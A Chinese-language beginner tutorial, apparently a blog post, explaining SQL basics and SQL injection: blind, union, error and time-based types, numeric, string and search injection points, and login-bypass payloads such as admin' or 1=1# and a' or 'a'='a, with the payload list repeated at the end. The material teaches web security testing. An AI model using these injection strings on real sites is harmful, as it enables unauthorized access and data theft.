主要是看隔壁levixxxx写那么高深的东西,再看看自己的有感觉点low,还不通俗易懂,所以决定。。。
First of all,了解增删改查
库.表应该不用的解释吧。
1.insert into 库.表(列1,列2…) values(值1,值2)
insert into 1.news values(3,’test’,’test’,’3’)
—— 字符串记得要用单引号,值则不用
2.select 列1,列2 from 库.表(列1,列2…) —— (“ * ”代表全部列)
- limit —— 语法:limit(起始下标,条数)一般跟在语句末尾
- select * from 库.表 —— 查询全部
- select id,title from 库.表 —— 查询“ id ”和“ title "列
3.delete from 库.表 where id=3 —— 删除" id=3 "的那列
4.update 库.表 set 列1=值,列2=值 条件
type=’2’ where id=2 —— 把“ id=2 ”的“ type ”改为2
最基本的查询
select * from 1.news where username='admin' and password='test'
select * from 1.news where username=' ' or ' '=' ' and password='test'
select * from 1.news where username= ' ' or 1=1#' and password='test'
——“–和#为注释符,注释掉后面的内容”
- 只要逻辑通过就行,要注意括号闭合,单引号闭合,要注意跟-提供的源码-中的也要闭合
- 万能密码 a’ or ‘a’='a
- union的作用(后面还会提到,用法比较巧妙多变): 粘合数据,将本来无法得到的数据粘合在可以得到的数据后面
- order by(后面也会提到): 判断列用的
SQL注入初级
什么是sql注入:
用户提交的参数中包含一些带有sql攻击的字符带入了数据库查询,从而改变语义得到一些想要的数据
- 任何地方都可能出现sql注入,如 referer,cookie,body, URL等
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-qqDWDcKd-1585889714798)(/常见注入工具.png)]
sql注入有哪些类型(按照注入取数据的方式不一样来分类):
1.盲注:按照逻辑上的真假来判断
- 原理:通过ascii码,不支持中文,通过substr函数截取字符转换成ascii码比较大小,二分法判断大小,再将ascii码转换成数据,中文用hex函数(MySQL):将中文转换成16进制,然后再转换
2.union注入:通过union直接查询显示到页面中,例如:
union select username from admin
3.错误显示注入:利用数据库的错误消息进行注入,加一个” ‘ “会显示错误信息,观察错误信息或者错误信息的类——(需要注入者有极高的水平,反正我不行…)
4.延时注入:通过sleep函数判断页面响应时间
sql注入能干什么:
1.获取(增删改查)数据库文件
2.读写文件
3.执行操作系统命令
如何判断是否存在准入:
数字型,字符型,搜索型
一个很重要的表,必须要记住:information_schema.tables
exists函数判断一个表是否存在:
exists(select 1 form information_schema.tables)
1.数字型:
-
true and false为假 ,true or false为真
sql=“select * from news where id=1 and 1=1” sql=”select * from news where id=1 order by 1“
-
用order by 判断有多少列(by 几就是第几列,如果显示就是存在,不显示就是不存在这一列,从而判断,用法如上)再用union,有的程序员本身就会写上order by,就会出现xxxxxx order by order by xxxx的情况,就会显示语法错误等等问题,所以一切以实际为准。
-
有的表查询只显示第一个数据,所以要把前面的否定: 如?id=1 and 1=2
-
union的一些用法如下图
2.字符型:
sql=“select * from news where type=‘ xxx ’ “
sql=”select * from news where type=‘1’ and ‘1’=‘1’ ”
除了需要构造前后语法,其他跟数字型都一样。(可以用#注释掉多余的 ’ )
判断数字型还是字符型的方法:先按照数字型构造
伪静态注入:
报错不是404而是 500,报的sql的错误信息
方法1.注入位置是在1.html的1后,同样的道理,判断数字型还是字符型,用超级sql注入工具标记注入
方法2.比如说原来是asd111.html,这时候可以尝试构造asd.php?id=111或asd.asp?id=111等
方法3.去掉.html看是否正常
3.搜索型:
- 必须要选一个有数据的关键词,否则不管怎么构造都不会出现结果
select * from news where title like ‘ %xxxx% ’
——标题中间出现这个字符,模糊查询
select * from news where title like ‘ xxxx% ’
——以xxx开头,以任意字符结尾
select * from news where title like ‘ %xxxx ’
——任意字符开头,xxx结尾
通过本身的语法去闭合,因为%%中间是空字符,所以所有的都会显示。
因为是post提交,所以直接#注释就可以,如果是get,要进行url编码,#转化成%23。
万能密码:
select * from 1.news where username='admin'or 1=1# and password=''
学会之前的再看这个就很简单了,自己看情况构造就可以了,通常是知道admin不知道密码。
-
admin’ or ‘a’='a
-
admin’ or 1=1#(mysql)
-
admin’ or 1=1- -(sqlserver)
-
admin’ or 1=1;- -(sqlserver) " ; "表示多语句
or前面是一个条件,后面是一个条件,所以账号密码都不知道也可以。 -
一般使用超级SQL注入工具,修改请求数据包,配合抓包使用。
or 1=1#(mysql)
admin' or 1=1--(sqlserver)
admin' or 1=1;--(sqlserver) # " ; "表示多语句
or前面是一个条件,后面是一个条件,所以账号密码都不知道也可以。
- 一般使用超级SQL注入工具,修改请求数据包,配合抓包使用。